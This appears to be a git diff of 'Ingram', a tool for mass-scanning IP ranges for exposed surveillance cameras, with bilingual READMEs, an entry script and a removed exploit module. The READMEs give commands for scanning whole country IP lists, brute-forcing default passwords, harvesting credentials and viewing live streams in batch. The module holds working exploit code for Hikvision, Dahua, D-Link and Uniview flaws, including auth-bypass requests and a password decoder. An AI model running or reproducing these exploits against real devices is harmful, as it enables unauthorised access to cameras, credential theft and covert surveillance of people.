+ All modules can be combined arbitrarily to scan, for example, if you want to scan Hikvision, then:
```bash
./run_ingram.py --in TARGET --out OUT_DIR --hik_weak --cve_2017_7921 --cve_2021_36260 --th_num 80
```
+ Direct scanning can be slow. You can use the Masscan to speed up. The Masscan needs to be installed in advance. For example, we find hosts whose port 80 and 8000 to 8008 opened and scan them:
```shell
./run_ingram.py --in TARGET --out OUT_DIR --masscan --port 80,8000-8008 --rate 5000
./run_ingram.py --in OUT_DIR/masscan_res --out OUT_DIR --all --th_num 80
```
+ If your program breaks due to network or other reasons, you can continue the previous process by simply running the command that ran last time. For example, the last command you executed was `./run_ingram.py --in ip.txt --out output --all --th_num 80`, to resume, simply continue `./run_ingram.py --in ip.txt --out output --all --th_num 80`, also for the masscan.
## Results
```bash
.
├── not_vulnerable.csv
├── results_all.csv
├── results_simple.csv
└── snapshots
```
+ The comprehensive results are saved in the `OUT_DIR/results_all.csv` file, and each line is `ip,port,user,passwd,device,vulnerability`:
![](statics/imgs/results.png)
+ The `OUT_DIR/results_simple.csv` file contains only the target with the password, in the format of `IP,port,user,passwd`
+ `OUT_DIR/not_vulnerable.csv` file is stored in the target without vulnerability exposure
+ Some camera's snapshots can be found in `OUT_DIR/snapshots/`:
![](statics/imgs/snapshots.png)
## The Live
+ You can log in directly from the browser to see the live screen.
+ If you want to view the live screen in batch, we provided a script: `show/show_rtsp/show_all.py`, though it has some flaws:
```shell
python3 -Bu show/show_rtsp/show_all.py OUT_DIR/results_all.csv
```
![](statics/imgs/show_rtsp.png)
## Change Logs
+ [2022-06-11] **Optimized running speed; Supportted storage of the not vulnerable targets**
+ [2022-06-11] **Resume supported!!!**
+ [2022-07-23] **You can obtain the user and password through CVE-2021-33044(Dahua)!!! Updated snapshot logic (change rtsp to http), optimized running speed.**
- **Since the new version adds some dependency packages, the environment needs to be reconfigured!**
+ [2022-08-05] **Added CVE-2021-33045 (Dahua NVR), but the snapshot function is not always available because the NVR device's account&password may be different from the real camera**
+ [2022-08-06] **Added password disclosure module for Uniview camera, does not support snapshot yet**
## Disclaimer
This tool is only for learning and safety testing, do not fucking use it for illegal purpose, all legal consequences caused by this tool will be borne by the user!!!
## Acknowledgements & References
Thanks to [Aiminsun](https://github.com/Aiminsun/CVE-2021-36260) for CVE-2021-36260
Thanks to [chrisjd20](https://github.com/chrisjd20/hikvision_CVE-2017-7921_auth_bypass_config_decryptor) for hidvision config file decryptor
Thanks to [metowolf](https://github.com/metowolf/iplist) for ip list
Thanks to [mcw0](https://github.com/mcw0/DahuaConsole) for DahuaConsole
+191 -191
View File
@@ -1,191 +1,191 @@
<div align=center>
<img alt="Ingram" src="https://github.com/jorhelp/Ingram/blob/master/statics/imgs/logo.png">
</div>
<!-- icons -->
<div align=center>
<img alt="GitHub" src="https://img.shields.io/github/license/jorhelp/Ingram">
<img alt="GitHub issues" src="https://img.shields.io/github/issues/jorhelp/Ingram">
<img alt="GitHub Repo stars" src="https://img.shields.io/github/stars/jorhelp/Ingram">
<img alt="GitHub last commit (branch)" src="https://img.shields.io/github/last-commit/jorhelp/Ingram/master">
</div>
简体中文 | [English](https://github.com/jorhelp/Ingram/blob/master/README.md)
## 简介
![](statics/imgs/run_time.gif)
一个多线程批量检测网络摄像头是否暴露的工具。
**只在 Mac 与 Linux 上测试过,没有在 Windows 平台进行测试**
## 安装
+ 克隆该仓库:
```bash
git clone https://github.com/jorhelp/Ingram.git
```
+ 确保你安装了 3.7 及以上的 Python,然后进入项目目录安装依赖:
```bash
cd Ingram
pip install git+https://github.com/arthaud/python3-pwntools.git
pip install -r requirements.txt
```
至此安装完毕!
## 运行之前的准备工作
+ 你需要准备一个目标文件,里面保存着你要扫描的 IP 地址,每行一个目标,具体格式如下:
```
# 你可以使用井号(#)来进行注释
# 单个的 IP 地址
192.168.0.1
# IP 地址以及要扫描的端口
192.168.0.2:80
# 带 '/' 的IP段
192.168.0.0/16
# 带 '-' 的IP段
192.168.0.0-192.168.255.255
```
+ `utils/config.py` 文件里已经指定了一些用户名与密码来支持弱口令扫描,你可以随意修改它们(如果你想测试其他密码的话):
```python
# camera
USERS = ['admin']
PASSWORDS = ['admin', 'admin12345', 'asdf1234', '12345admin', '12345abc']
```
+ (**可选**) 扫描时间可能会很长,如果你想让程序扫描结束的时候通过微信发送一条提醒的话,你需要按照 [wxpusher](https://wxpusher.zjiecode.com/docs/) 的指示来获取你的专属 *UID* 和 *APP_TOKEN*,并将其写入 `utils/config.py`:
```python
# wechat
UIDS = ['This is your UID', 'This is another UID if you have', ...]
TOKEN = 'This is your APP_TOKEN'
```
+ (**可选**) 邮件提醒暂时不支持...
## 运行
```shell
optional arguments:
-h, --help show this help message and exit
--in_file IN_FILE the targets will be scan
--out_path OUT_PATH the path where results saved
--send_msg send finished msg to you (by wechat or email)
--all scan all the modules of [hik_weak, dahua_weak, cve_...]
--hik_weak
--dahua_weak
--cctv_weak
--hb_weak
--cve_2021_36260
--cve_2021_33044
--cve_2021_33045
--cve_2017_7921
--cve_2020_25078
--th_num TH_NUM the processes num
--nosnap do not capture snapshot
--masscan run masscan sanner
--port PORT same as masscan port
--rate RATE same as masscan rate
```
+ 使用所有模块来扫描 (**TARGET** 是你的目标文件, **OUT_DIR** 是结果保存路径):
```bash
# th_num 线程数量根据你的网络情况自行调整
./run_ingram.py --in TARGET --out OUT_DIR --all --th_num 80
# 如果你已经配置好了微信,那么 --send_msg 参数应该加上
./run_ingram.py --in TARGET --out OUT_DIR --all --th_num 80 --send_msg
```
+ 摄像头快照 (默认是支持快照抓取的,如果你嫌它太慢可以使用 --nosnap 参数来关闭)
```bash
./run_ingram.py --in TARGET --out OUT_DIR --all --th_num 80 --nosnap
```
+ 在 `statics/iplist/data/` 路径下有一些 IP 文件,你可以直接拿来使用,例如扫描日本(JP)的设备:
```shell
./run_ingram.py --in statics/iplist/data/country/JP.txt --out OUT_DIR --all --th_num 80
```
+ 所有的模块可以任意组合,例如,如果你想扫描海康设备,那么:
```shell
./run_ingram.py --in TARGET --out OUT_DIR --hik_weak --cve_2017_7921 --cve_2021_36260 --th_num 80
```
+ 可以使用 Masscan 来加速扫描过程,原理就是先用 Masscan 找到指定端口开放的设备,然后再扫描这些设备 (Masscan需要自己安装):
```shell
./run_ingram.py --in TARGET --out OUT_DIR --masscan --port 80,8000-8008 --rate 5000
./run_ingram.py --in OUT_DIR/masscan_res --out OUT_DIR --all --th_num 80
```
+ 中断恢复。如果因为网络原因或其他原因导致运行中断了,只需运行和之前相同的命令即可继续运行,例如,如果你之前执行的是 `./run_ingram.py --in ip.txt --out output --all --th_num 80`,只需继续执行该命令即可恢复。对于 Masscan 也是一样。
## 结果
```bash
.
├── not_vulnerable.csv
├── results_all.csv
├── results_simple.csv
└── snapshots
```
+ `OUT_DIR/results_all.csv` 文件里面保存了完整的结果, 格式为: `ip,port,user,passwd,device,vulnerability`:
![](statics/imgs/results.png)
+ `OUT_DIR/results_simple.csv` 文件里面只保存了有密码的目标,格式为: `ip,port,user,passwd`
+ `OUT_DIR/not_vulnerable.csv` 中保存的是没有暴露的设备
+ `OUT_DIR/snapshots/` 中保存了部分设备的截图:
![](statics/imgs/snapshots.png)
## 实时预览
+ 可以直接通过浏览器登录来预览
+ 如果想批量查看,我们提供了一个脚本 `show/show_rtsp/show_all.py`,不过它还有一些问题:
```shell
python3 -Bu show/show_rtsp/show_all.py OUT_DIR/results_all.csv
```
![](statics/imgs/show_rtsp.png)
## 更新日志
+ [2022-06-11] **优化运行速度,支持存储非暴露设备**
+ [2022-06-11] **支持中断恢复**
+ [2022-07-23] **可以通过 CVE-2021-33044(Dahua) 来获取用户名与密码了!修改了摄像头快照逻辑(将rtsp替换为了http),优化了运行速度**
- **由于新版本加入了一些依赖包,需要重新配置环境!!!**
+ [2022-08-05] **增加了 CVE-2021-33045(Dahua NVR),不过由于NVR设备的账号密码与真正的摄像头的账号密码可能不一致,所以快照功能并不总是有效**
+ [2022-08-06] **增加了 Uniview 设备的密码暴露模块,暂不支持快照**
## 免责声明
本工具仅供安全测试,严禁用于非法用途,后果与本团队无关
## 鸣谢 & 引用
Thanks to [Aiminsun](https://github.com/Aiminsun/CVE-2021-36260) for CVE-2021-36260
Thanks to [chrisjd20](https://github.com/chrisjd20/hikvision_CVE-2017-7921_auth_bypass_config_decryptor) for hidvision config file decryptor
Thanks to [metowolf](https://github.com/metowolf/iplist) for ip list
Thanks to [mcw0](https://github.com/mcw0/DahuaConsole) for DahuaConsole
<div align=center>
<img alt="Ingram" src="https://github.com/jorhelp/Ingram/blob/asyncio/statics/imgs/logo.png">
</div>
<!-- icons -->
<div align=center>
<img alt="GitHub" src="https://img.shields.io/github/license/jorhelp/Ingram">
<img alt="GitHub issues" src="https://img.shields.io/github/issues/jorhelp/Ingram">
<img alt="GitHub Repo stars" src="https://img.shields.io/github/stars/jorhelp/Ingram">
<img alt="GitHub last commit (branch)" src="https://img.shields.io/github/last-commit/jorhelp/Ingram/master">
</div>
简体中文 | [English](https://github.com/jorhelp/Ingram/blob/master/README.md)
## 简介
![](statics/imgs/run_time.gif)
一个多线程批量检测网络摄像头是否暴露的工具。
**只在 Mac 与 Linux 上测试过,没有在 Windows 平台进行测试**
## 安装
+ 克隆该仓库:
```bash
git clone https://github.com/jorhelp/Ingram.git
```
+ 确保你安装了 3.7 及以上的 Python,然后进入项目目录安装依赖:
```bash
cd Ingram
pip install git+https://github.com/arthaud/python3-pwntools.git
pip install -r requirements.txt
```
至此安装完毕!
## 运行之前的准备工作
+ 你需要准备一个目标文件,里面保存着你要扫描的 IP 地址,每行一个目标,具体格式如下:
```
# 你可以使用井号(#)来进行注释
# 单个的 IP 地址
192.168.0.1
# IP 地址以及要扫描的端口
192.168.0.2:80
# 带 '/' 的IP段
192.168.0.0/16
# 带 '-' 的IP段
192.168.0.0-192.168.255.255
```
+ `utils/config.py` 文件里已经指定了一些用户名与密码来支持弱口令扫描,你可以随意修改它们(如果你想测试其他密码的话):
```python
# camera
USERS = ['admin']
PASSWORDS = ['admin', 'admin12345', 'asdf1234', '12345admin', '12345abc']
```
+ (**可选**) 扫描时间可能会很长,如果你想让程序扫描结束的时候通过微信发送一条提醒的话,你需要按照 [wxpusher](https://wxpusher.zjiecode.com/docs/) 的指示来获取你的专属 *UID* 和 *APP_TOKEN*,并将其写入 `utils/config.py`:
```python
# wechat
UIDS = ['This is your UID', 'This is another UID if you have', ...]
TOKEN = 'This is your APP_TOKEN'
```
+ (**可选**) 邮件提醒暂时不支持...
## 运行
```shell
optional arguments:
-h, --help show this help message and exit
--in_file IN_FILE the targets will be scan
--out_path OUT_PATH the path where results saved
--send_msg send finished msg to you (by wechat or email)
--all scan all the modules of [hik_weak, dahua_weak, cve_...]
--hik_weak
--dahua_weak
--cctv_weak
--hb_weak
--cve_2021_36260
--cve_2021_33044
--cve_2021_33045
--cve_2017_7921
--cve_2020_25078
--th_num TH_NUM the processes num
--nosnap do not capture snapshot
--masscan run masscan sanner
--port PORT same as masscan port
--rate RATE same as masscan rate
```
+ 使用所有模块来扫描 (**TARGET** 是你的目标文件, **OUT_DIR** 是结果保存路径):
```bash
# th_num 线程数量根据你的网络情况自行调整
./run_ingram.py --in TARGET --out OUT_DIR --all --th_num 80
# 如果你已经配置好了微信,那么 --send_msg 参数应该加上
./run_ingram.py --in TARGET --out OUT_DIR --all --th_num 80 --send_msg
```
+ 摄像头快照 (默认是支持快照抓取的,如果你嫌它太慢可以使用 --nosnap 参数来关闭)
```bash
./run_ingram.py --in TARGET --out OUT_DIR --all --th_num 80 --nosnap
```
+ 在 `statics/iplist/data/` 路径下有一些 IP 文件,你可以直接拿来使用,例如扫描日本(JP)的设备:
```shell
./run_ingram.py --in statics/iplist/data/country/JP.txt --out OUT_DIR --all --th_num 80
```
+ 所有的模块可以任意组合,例如,如果你想扫描海康设备,那么:
```shell
./run_ingram.py --in TARGET --out OUT_DIR --hik_weak --cve_2017_7921 --cve_2021_36260 --th_num 80
```
+ 可以使用 Masscan 来加速扫描过程,原理就是先用 Masscan 找到指定端口开放的设备,然后再扫描这些设备 (Masscan需要自己安装):
```shell
./run_ingram.py --in TARGET --out OUT_DIR --masscan --port 80,8000-8008 --rate 5000
./run_ingram.py --in OUT_DIR/masscan_res --out OUT_DIR --all --th_num 80
```
+ 中断恢复。如果因为网络原因或其他原因导致运行中断了,只需运行和之前相同的命令即可继续运行,例如,如果你之前执行的是 `./run_ingram.py --in ip.txt --out output --all --th_num 80`,只需继续执行该命令即可恢复。对于 Masscan 也是一样。
## 结果
```bash
.
├── not_vulnerable.csv
├── results_all.csv
├── results_simple.csv
└── snapshots
```
+ `OUT_DIR/results_all.csv` 文件里面保存了完整的结果, 格式为: `ip,port,user,passwd,device,vulnerability`:
![](statics/imgs/results.png)
+ `OUT_DIR/results_simple.csv` 文件里面只保存了有密码的目标,格式为: `ip,port,user,passwd`
+ `OUT_DIR/not_vulnerable.csv` 中保存的是没有暴露的设备
+ `OUT_DIR/snapshots/` 中保存了部分设备的截图:
![](statics/imgs/snapshots.png)
## 实时预览
+ 可以直接通过浏览器登录来预览
+ 如果想批量查看,我们提供了一个脚本 `show/show_rtsp/show_all.py`,不过它还有一些问题:
```shell
python3 -Bu show/show_rtsp/show_all.py OUT_DIR/results_all.csv
```
![](statics/imgs/show_rtsp.png)
## 更新日志
+ [2022-06-11] **优化运行速度,支持存储非暴露设备**
+ [2022-06-11] **支持中断恢复**
+ [2022-07-23] **可以通过 CVE-2021-33044(Dahua) 来获取用户名与密码了!修改了摄像头快照逻辑(将rtsp替换为了http),优化了运行速度**
- **由于新版本加入了一些依赖包,需要重新配置环境!!!**
+ [2022-08-05] **增加了 CVE-2021-33045(Dahua NVR),不过由于NVR设备的账号密码与真正的摄像头的账号密码可能不一致,所以快照功能并不总是有效**
+ [2022-08-06] **增加了 Uniview 设备的密码暴露模块,暂不支持快照**
## 免责声明
本工具仅供安全测试,严禁用于非法用途,后果与本团队无关
## 鸣谢 & 引用
Thanks to [Aiminsun](https://github.com/Aiminsun/CVE-2021-36260) for CVE-2021-36260
Thanks to [chrisjd20](https://github.com/chrisjd20/hikvision_CVE-2017-7921_auth_bypass_config_decryptor) for hidvision config file decryptor
Thanks to [metowolf](https://github.com/metowolf/iplist) for ip list
Thanks to [mcw0](https://github.com/mcw0/DahuaConsole) for DahuaConsole
+11 -10
View File
@@ -1,10 +1,11 @@
aiohttp
colorama
IPy
requests
wxpusher
ndjson
pycryptodome
tzlocal
pyOpenSSL
pwn
IPy
gevent
colorama
wxpusher
pwntools>=4.3.1
ndjson>=0.3.1
pycryptodome>=3.9.7
tzlocal>=2.1
pyOpenSSL>=19.1.0
requests>=2.20.0
pwn~=1.0
+53 -49
View File
@@ -1,49 +1,53 @@
#! /usr/bin/env -S python3 -Bu
# coding: utf-8
# @Auth: Jor<jorhelp@qq.com>
# @Date: Wed Apr 20 00:17:30 HKT 2022
# @Desc: Ingram
import os
import warnings
from Ingram.utils import config
from Ingram.utils import logo
from Ingram.utils import color
from Ingram.utils import get_parse
from Ingram.utils import config_logger
from Ingram.utils import get_user_agent
from Ingram.core import run
def assemble_config(args):
config.set_val('IN', args.in_file)
config.set_val('OUT', args.out_dir)
config.set_val('THNUM', args.th_num)
config.set_val('NOSNAP', args.nosnap)
config.set_val('DEBUG', args.debug)
config.set_val('TIMEOUT', args.time_out)
config.set_val('MAXTRIES', 2) # since requests maybe failed, try N times
config.set_val('LOGFILE', os.path.join(args.out_dir, 'log.txt')) # log file
config_logger(config['LOGFILE'], config['DEBUG']) # logger configuration
config.set_val('USERAGENT', get_user_agent()) # to save time, we only get user agent once.
#--------- config below can be modified ---------
config.set_val('USERS', ['admin']) # user names for Brute force cracking of weak passwords
config.set_val('PASSWDS', ['admin', 'admin12345', 'asdf1234', 'abc12345', '12345admin', '12345abc'])
config.set_val('WXUID', '') # weechat uid used by wxpusher
config.set_val('WXTOKEN', '') # token used by wxpusher
if __name__ == '__main__':
warnings.filterwarnings("ignore")
# logo
for icon, font in zip(*logo):
print(f"{color.yellow(icon, 'bright')} {color.magenta(font, 'bright')}")
args = get_parse() # args
assemble_config(args) # assemble global config vars
run()
#! /usr/bin/env python3
# coding: utf-8
# @Auth: Jor<jorhelp@qq.com>
# @Date: Wed Apr 20 00:17:30 HKT 2022
# @Desc: Ingram
import os
from Ingram.utils import config
from Ingram.utils import logo
from Ingram.utils import color
from Ingram.utils import get_parse
from Ingram.utils import logger, config_logger
from Ingram.utils import get_user_agent
from Ingram.core import Core
def assemble_config(args):
config.set_val('IN', args.in_file)
config.set_val('OUT', args.out_dir)
config.set_val('TH', args.th_num)
config.set_val('DEBUG', args.debug)
config.set_val('TIMEOUT', args.time_out)
config.set_val('PORT', args.port)
config.set_val('MAXTRY', 2) # since requests maybe failed, try N times
config.set_val('LOGFILE', os.path.join(args.out_dir, 'log.txt')) # log file
config_logger(config['LOGFILE'], config['DEBUG']) # logger configuration
config.set_val('USERAGENT', get_user_agent()) # to save time, we only get user agent once.
#--------- config below can be modified ---------
config.set_val('USERS', ['admin']) # user names for Brute force cracking of weak passwords
config.set_val('PASSWDS', ['admin', 'admin12345', 'asdf1234', 'abc12345', '12345admin', '12345abc'])
config.set_val('WXUID', '') # weechat uid used by wxpusher
config.set_val('WXTOKEN', '') # token used by wxpusher
if __name__ == '__main__':
try:
# logo
for icon, font in zip(*logo):
print(f"{color.yellow(icon, 'bright')} {color.magenta(font, 'bright')}")
args = get_parse() # args
assemble_config(args) # assemble global config vars
core = Core() # get ingram core
core() # run
logger.info('Ingram done!')
except KeyboardInterrupt as e:
exit(0)
except Exception as e:
logger.warning(e)
print(color.red(f"error occurred, see the {config['OUT']}/log.txt for more information."))
exit(0)
-330
View File
@@ -1,330 +0,0 @@
"""Vulnerability Exploition"""
import os
import sys
import json
import time
import hashlib
import requests
from xml.etree import ElementTree
CWD = os.path.dirname(__file__)
sys.path.append(os.path.join(CWD, '..'))
from utils.net import get_user_agent
from utils.config import USERS, PASSWORDS, TIMEOUT, DEBUG
#======================== global vars ========================
DEV_HASH = {
'4ff53be6165e430af41d782e00207fda': 'dahua',
'89b932fcc47cf4ca3faadb0cfdef89cf': 'hikvision',
'f066b751b858f75ef46536f5b357972b': 'cctv',
'1536f25632f78fb03babedcb156d3f69': 'uniview-nvr',
'c30a692ad0d1324389485de06c96d9b8': 'uniview-dev', # not perfect, removed
}
#=============================================================
def device_type(ip: str) -> list:
"""Check whether the ip is a web camera"""
url_list = [
f"http://{ip}/favicon.ico", # hikvision, cctv, uniview-nvr
f"http://{ip}/image/lgbg.jpg", # Dahua
# f"http://{ip}/skin/default_1/images/logo.png", # uniview-dev
f"http://{ip}", # dlink
]
# these are need to be hashed
for url in url_list[:-1]:
try:
r = requests.get(url, timeout=TIMEOUT, verify=False)
if r.status_code == 200:
hash_val = hashlib.md5(r.content).hexdigest()
if hash_val in DEV_HASH: return DEV_HASH[hash_val]
except: pass
# not hash
try:
r = requests.get(url_list[-1], timeout=TIMEOUT, verify=False)
if 'realm="DCS' in str(r.headers): return 'dlink'
except: pass
return 'unidentified'
def cve_2021_36260(ip: str) -> list:
"""(Hikvision) Arbitrary command execution vulnerability"""
if ':' in ip:
items = ip.split(':')
ip, port = items
else: port = 80
cve_lib = os.path.join(CWD, 'lib/CVE-2021-36260.py')
res = os.popen(f"python3 {cve_lib} --rhost {ip} --rport {port} --cmd 'pwd'").readlines()[-2].strip()
return [res == '/home', '', '', 'Hikvision', 'cve-2021-36260']
def cve_2017_7921(ip: str) -> list:
"""(Hikvision) Bypassing authentication vulnerability"""
headers = {'User-Agent': get_user_agent()}
user_url = f"http://{ip}/Security/users?auth=YWRtaW46MTEK"
config_url = f"http://{ip}/System/configurationFile?auth=YWRtaW46MTEK"
r = requests.get(user_url, timeout=TIMEOUT, verify=False, headers=headers)
if r.status_code == 200 and 'userName' in r.text and 'priority' in r.text and 'userLevel' in r.text:
rc = requests.get(config_url, timeout=TIMEOUT * 2, verify=False, headers=headers)
with open(f"{ip}-config", 'wb') as f:
f.write(rc.content)
decryptor = os.path.join(CWD, 'lib/decrypt_configure.py')
info = eval(os.popen(f"python3 {decryptor} {ip}-config").readline().strip())
idx = - info[::-1].index('admin')
user, passwd = info[idx - 1], info[idx]
os.remove(f"{ip}-config")
return [True, str(user), str(passwd), 'Hikvision', 'cve-2017-7921']
return [False, ]
def hik_weak(ip: str, users: list=USERS, passwords: list=PASSWORDS) -> list:
"""(Hikvision) Brute"""
passwords = set(passwords + ['12345', '888888'])
headers = {'User-Agent': get_user_agent()}
for user in users:
for p in passwords:
r = requests.get(f"http://{ip}/ISAPI/Security/userCheck", auth=(user, p), timeout=TIMEOUT, verify=False, headers=headers)
if r.status_code == 200 and 'userCheck' in r.text and 'statusValue' in r.text and '200' in r.text:
return [True, str(user), str(p), 'Hikvision', 'weak pass']
return [False, ]
def dahua_weak(ip: str, users: list=USERS, passwords: list=PASSWORDS) -> list:
"""(Dahua) Brute"""
passwords = set(passwords + ['admin'])
headers = {
'User-Agent': get_user_agent(),
'Host': ip.split(':')[0],
'Origin': 'http://' + ip,
'Referer': 'http://' + ip,
'Accept': 'application/json, text/javascript, */*; q=0.01',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
'Connection': 'close',
'X-Requested-With': 'XMLHttpRequest',
}
for user in users:
for p in passwords:
_json = {
"method": "global.login",
"params": {
"userName": user,
"password": p,
"clientType": "Web3.0",
"loginType": "Direct",
"authorityType": "Default",
"passwordType": "Plain",
},
"id": 1,
"session": 0,
}
r = requests.post(f"http://{ip}/RPC2_Login", headers=headers, json=_json, verify=False, timeout=TIMEOUT)
if r.status_code == 200 and r.json()['result'] == True:
return [True, str(user), str(p), 'Dahua', 'weak pass']
return [False, ]
def cve_2021_33044(ip: str) -> list:
"""(Dahua) Bypassing authentication vulnerability"""
headers = {
'User-Agent': get_user_agent(),
'Host': ip.split(':')[0],
'Origin': 'http://' + ip,
'Referer': 'http://' + ip,
'Accept': 'application/json, text/javascript, */*; q=0.01',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
'Connection': 'close',
'X-Requested-With': 'XMLHttpRequest',
}
_json = {
"method": "global.login",
"params": {
"userName": "admin",
"password": "Not Used",
"clientType": "NetKeyboard",
"loginType": "Direct",
"authorityType": "Default",
"passwordType": "Default",
},
"id": 1,
"session": 0,
}
r = requests.post(f"http://{ip}/RPC2_Login", headers=headers, json=_json, verify=False, timeout=TIMEOUT)
if r.status_code == 200 and r.json()['result'] == True:
if ':' in ip: ip, port = ip.split(':')
else: port = 80
def dh_console(proto='dhip'):
console = os.path.join(CWD, 'lib/DahuaConsole/Console.py')
user, passwd = '', ''
try:
with os.popen(f"""
(
echo "OnvifUser -u"
echo "quit all"
) | python3 -Bu {console} --logon netkeyboard --rhost {ip} --rport {port} --proto {proto} 2>/dev/null
""") as f: items = [line.strip() for line in f]
for idx, val in enumerate(items):
if 'Name' in val:
user = val.split(':')[-1].strip().strip(',').replace('"', '')
passwd = items[idx + 1].split(':')[-1].strip().strip(',').replace('"', '')
break
except Exception as e:
if DEBUG: print(e)
return user, passwd
# firstly, try the dhip
user, passwd = dh_console(proto='dhip')
# if not successed, try the http
if not user and not passwd:
user, passwd = dh_console(proto='http')
return [True, user, passwd, 'Dahua', 'cve-2021-33044']
return [False, ]
def cve_2021_33045(ip: str) -> list:
"""(Dahua NVR) Bypassing authentication vulnerability"""
if ':' in ip: ip, port = ip.split(':')
else: port = 80
console = os.path.join(CWD, 'lib/DahuaConsole/Console.py')
json_file = f"{ip}-{port}-users.json"
with os.popen(f"""
(
echo "config RemoteDevice save {json_file}"
echo "quit all"
) | python3 -Bu {console} --logon loopback --rhost {ip} --rport {port} --proto dhip 2>/dev/null
""") as f: items = f.readlines()
# print(''.join(items))
# success
if os.path.exists(json_file):
with open(json_file, 'r') as f:
info = json.load(f)
dev_all = info['params']['table'].values()
dev_alive = [i for i in dev_all if i['Enable']]
user = dev_alive[0]['UserName']
passwd = dev_alive[0]['Password']
os.remove(json_file)
return [True, user, passwd, f"Dahua-{len(dev_alive)}", 'cve-2021-33045']
# fail
else:
return [False, ]
def cve_2020_25078(ip: str) -> list:
"""(DLink) Disclosure of sensitive information"""
headers = {'User-Agent': get_user_agent()}
r = requests.get(f"http://{ip}/config/getuser?index=0", timeout=TIMEOUT, verify=False, headers=headers)
if r.status_code == 200 and "name" in r.text and "pass" in r.text and "priv" in r.text and 'html' not in r.text:
items = r.text.split()
user, passwd = items[0].split('=')[1], items[1].split('=')[1]
return [True, str(user), str(passwd), 'DLink', 'cve-2020-25078']
return [False, ]
# bug!!!
def dlink_weak(ip: str, users: list=USERS, passwords: list=PASSWORDS) -> list:
"""(DLink) Brute"""
passwords = set(passwords + [''])
headers = {'User-Agent': get_user_agent()}
for user in users:
for p in passwords:
r = requests.get(f"http://{ip}", verify=False, headers=headers, timeout=TIMEOUT, auth=(user, p))
if r.status_code == 200 and 'D-Link' in r.text:
return [True, str(user), str(p), 'DLink', 'weak pass']
return [False, ]
def cctv_weak(ip: str, users: list=USERS, passwords: list=PASSWORDS) -> list:
"""(CCTV) Brute"""
passwords = set(passwords + [''])
headers = {'User-Agent': get_user_agent()}
for user in users:
for p in passwords:
url = f'http://{ip}/cgi-bin/gw.cgi?xml=<juan ver="" squ="" dir="0"><rpermission usr="{user}" pwd="{p}"><config base=""/><playback base=""/></rpermission></juan>'
r = requests.get(url, headers=headers, verify=False, timeout=TIMEOUT)
if r.status_code == 200 and '<rpermission' in r.text:
items = r.text.split()
idx = items.index('<rpermission')
if '0' in items[idx + 1]:
return [True, str(user), str(p), 'CCTV', 'weak pass']
return [False, ]
# not perfect
def uniview_weak(ip: str, users: list=USERS, passwords: list=PASSWORDS) -> list:
"""(Uniview) Brute"""
passwords = set(passwords + ['123456', 'admin'])
headers = {'User-Agent': get_user_agent()}
for user in users:
for p in passwords:
pass
def uniview_disclosure(ip: str) -> list:
"""(Uniview) NVR password disclosure"""
def passwd_decoder(passwd):
code_table = {'77': '1', '78': '2', '79': '3', '72': '4', '73': '5', '74': '6', '75': '7', '68': '8', '69': '9',
'76': '0', '93': '!', '60': '@', '95': '#', '88': '$', '89': '%', '34': '^', '90': '&', '86': '*',
'84': '(', '85': ')', '81': '-', '35': '_', '65': '=', '87': '+', '83': '/', '32': '\\', '0': '|',
'80': ',', '70': ':', '71': ';', '7': '{', '1': '}', '82': '.', '67': '?', '64': '<', '66': '>',
'2': '~', '39': '[', '33': ']', '94': '"', '91': "'", '28': '`', '61': 'A', '62': 'B', '63': 'C',
'56': 'D', '57': 'E', '58': 'F', '59': 'G', '52': 'H', '53': 'I', '54': 'J', '55': 'K', '48': 'L',
'49': 'M', '50': 'N', '51': 'O', '44': 'P', '45': 'Q', '46': 'R', '47': 'S', '40': 'T', '41': 'U',
'42': 'V', '43': 'W', '36': 'X', '37': 'Y', '38': 'Z', '29': 'a', '30': 'b', '31': 'c', '24': 'd',
'25': 'e', '26': 'f', '27': 'g', '20': 'h', '21': 'i', '22': 'j', '23': 'k', '16': 'l', '17': 'm',
'18': 'n', '19': 'o', '12': 'p', '13': 'q', '14': 'r', '15': 's', '8': 't', '9': 'u', '10': 'v',
'11': 'w', '4': 'x', '5': 'y', '6': 'z'}
decoded = []
for char in passwd.split(';'):
if char != "124" and char != "0": decoded.append(code_table[char])
return ''.join(decoded)
headers = {'User-Agent': get_user_agent()}
url = f"http://{ip}" + '/cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1}"'
r = requests.get(url, headers=headers, verify=False, timeout=TIMEOUT)
if r.status_code == 200 and r.text:
tree = ElementTree.fromstring(r.text)
items = tree.find('UserCfg')
user, passwd = items[0].get('UserName'), passwd_decoder(items[0].get('RvsblePass'))
return [True, user, passwd, 'Uniview', 'passwd disclosure']
return [False, ]
modules = {
'device_type': device_type,
# hikvision
'hik_weak': hik_weak,
'cve_2021_36260': cve_2021_36260,
'cve_2017_7921': cve_2017_7921,
# dahua
'dahua_weak': dahua_weak,
'cve_2021_33044': cve_2021_33044,
'cve_2021_33045': cve_2021_33045,
# cctv
'cctv_weak': cctv_weak,
# dlink
'cve_2020_25078': cve_2020_25078,
# uniview
'uniview_disclosure': uniview_disclosure,
}
if __name__ == '__main__':
# print(cve_2021_36260('10.101.35.74'))
print(dahua_weak('172.17.211.3'))
-197
View File
@@ -1,197 +0,0 @@
"""Scanners"""
import os
import sys
import time
from multiprocessing import Lock
from collections import defaultdict
CWD = os.path.dirname(__file__)
sys.path.append(os.path.join(CWD, '..'))
from scan.modules import modules
from utils.net import get_all_ip, get_ip_seg_len
from utils.base import multi_thread, process_bar, save_res, printf
from utils.config import *
class Base:
"""Base class"""
def __init__(self, args) -> None:
self.args = args
self.scanner_name = 'base' # Need to be respecified in subclass
if not os.path.isdir(args.out_path): os.mkdir(args.out_path)
class MasScaner(Base):
"""This scanner need root authority"""
def __init__(self, args) -> None:
super().__init__(args)
self.scanner_name = 'masscan'
self.tmp = os.path.join(self.args.out_path, MASSCAN_TMP) # temp out file
def parse(self, tmp: str='tmp') -> None:
with open(tmp, 'r') as tf:
with open(os.path.join(self.args.out_path, MASSCAN_RESULTS), 'w') as of:
for line in tf:
if 'open' in line:
items = line.split()
ip, port = items[-2], items[2]
of.write(f"{ip}:{port}\n")
def __call__(self) -> None:
